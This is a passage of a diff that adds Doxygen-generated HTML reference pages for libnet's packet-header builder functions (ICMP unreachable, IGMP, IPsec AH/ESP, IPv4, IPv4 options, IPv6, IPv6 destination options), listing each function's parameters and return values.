+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>code</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_tos</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_frag</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_ttl</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_prot</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_check</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>orig_dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) unreachable header. The additional arguments enable the application programmer to easily specify the original IPv4 header values (the IP header of the packet that supposedly caused the ICMP unreachable message in the first place). <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type of ICMP packet (should be ICMP_UNREACH) </td></tr>
+ <tr><td valign=top><em>code</em>&nbsp;</td><td>code of ICMP packet (should be one of the 16 unreachable codes) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>orig_id</em>&nbsp;</td><td>original IP header identification </td></tr>
+ <tr><td valign=top><em>orig_frag</em>&nbsp;</td><td>original IP header fragmentation information </td></tr>
+ <tr><td valign=top><em>orig_ttl</em>&nbsp;</td><td>orginal IP header time to live </td></tr>
+ <tr><td valign=top><em>orig_prot</em>&nbsp;</td><td>original IP header protocol </td></tr>
+ <tr><td valign=top><em>orig_check</em>&nbsp;</td><td>original IP header checksum </td></tr>
+ <tr><td valign=top><em>orig_src</em>&nbsp;</td><td>original IP header source address </td></tr>
+ <tr><td valign=top><em>orig_dst</em>&nbsp;</td><td>original IP header destination address </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a44" doxytag="libnet-functions.h::libnet_build_igmp" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_igmp </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>code</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ip</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 1112 Internet Group Memebership Protocol (IGMP) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>packet type </td></tr>
+ <tr><td valign=top><em>code</em>&nbsp;</td><td>packet code (should be 0) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>ip</em>&nbsp;</td><td>IPv4 address </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a57" doxytag="libnet-functions.h::libnet_build_ipsec_ah" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipsec_ah </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nh</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>res</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>spi</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>seq</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>auth</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an Internet Protocol Security Authentication header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>nh</em>&nbsp;</td><td>next header </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>payload length </td></tr>
+ <tr><td valign=top><em>res</em>&nbsp;</td><td>reserved </td></tr>
+ <tr><td valign=top><em>spi</em>&nbsp;</td><td>security parameter index </td></tr>
+ <tr><td valign=top><em>seq</em>&nbsp;</td><td>sequence number </td></tr>
+ <tr><td valign=top><em>auth</em>&nbsp;</td><td>authentication data </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a56" doxytag="libnet-functions.h::libnet_build_ipsec_esp_ftr" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipsec_esp_ftr </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nh</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>auth</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an Internet Protocol Security Encapsulating Security Payload footer. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>padding length </td></tr>
+ <tr><td valign=top><em>nh</em>&nbsp;</td><td>next header </td></tr>
+ <tr><td valign=top><em>auth</em>&nbsp;</td><td>authentication data </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a55" doxytag="libnet-functions.h::libnet_build_ipsec_esp_hdr" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipsec_esp_hdr </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>spi</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>seq</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>iv</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an Internet Protocol Security Encapsulating Security Payload header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>spi</em>&nbsp;</td><td>security parameter index </td></tr>
+ <tr><td valign=top><em>seq</em>&nbsp;</td><td>ESP sequence number </td></tr>
+ <tr><td valign=top><em>iv</em>&nbsp;</td><td>initialization vector </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a45" doxytag="libnet-functions.h::libnet_build_ipv4" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipv4 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>tos</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>frag</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ttl</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>prot</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a version 4 RFC 791 Internet Protocol (IP) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>total length of the IP packet including all subsequent data </td></tr>
+ <tr><td valign=top><em>tos</em>&nbsp;</td><td>type of service bits </td></tr>
+ <tr><td valign=top><em>id</em>&nbsp;</td><td>IP identification number </td></tr>
+ <tr><td valign=top><em>frag</em>&nbsp;</td><td>fragmentation bits and offset </td></tr>
+ <tr><td valign=top><em>ttl</em>&nbsp;</td><td>time to live in the network </td></tr>
+ <tr><td valign=top><em>prot</em>&nbsp;</td><td>upper layer protocol </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>src</em>&nbsp;</td><td>source IPv4 address (little endian) </td></tr>
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>destination IPv4 address (little endian) </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a46" doxytag="libnet-functions.h::libnet_build_ipv4_options" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipv4_options </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>options</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>options_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an version 4 Internet Protocol (IP) options header. The function expects options to be a valid IP options string of size options_s, no larger than 40 bytes (the maximum size of an options string). The function checks to make sure that the preceding header is an IPv4 header and that the options string would not result in a packet larger than 65,535 bytes (IPMAXPACKET). The function counts up the number of 32-bit words in the options string and adjusts the IP header length value as necessary. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>options</em>&nbsp;</td><td>byte string of IP options </td></tr>
+ <tr><td valign=top><em>options_s</em>&nbsp;</td><td>length of options string </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a48" doxytag="libnet-functions.h::libnet_build_ipv6" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipv6 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>tc</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>fl</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nh</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>hl</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>struct libnet_in6_addr&nbsp;</td>
+ <td class="mdname" nowrap> <em>src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>struct libnet_in6_addr&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a version 6 RFC 2460 Internet Protocol (IP) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>tc</em>&nbsp;</td><td>traffic class </td></tr>
+ <tr><td valign=top><em>fl</em>&nbsp;</td><td>flow label </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>total length of the IP packet </td></tr>
+ <tr><td valign=top><em>nh</em>&nbsp;</td><td>next header </td></tr>
+ <tr><td valign=top><em>hl</em>&nbsp;</td><td>hop limit </td></tr>
+ <tr><td valign=top><em>src</em>&nbsp;</td><td>source IPv6 address </td></tr>
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>destination IPv6 address </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a51" doxytag="libnet-functions.h::libnet_build_ipv6_destopts" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ipv6_destopts </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>nh</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a version 6 RFC 2460 Internet Protocol (IP) destination options header. This function is special in that it uses the payload interface to include the options data. The application programmer will build an IPv6 options byte string and pass it to the function using the payload interface. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
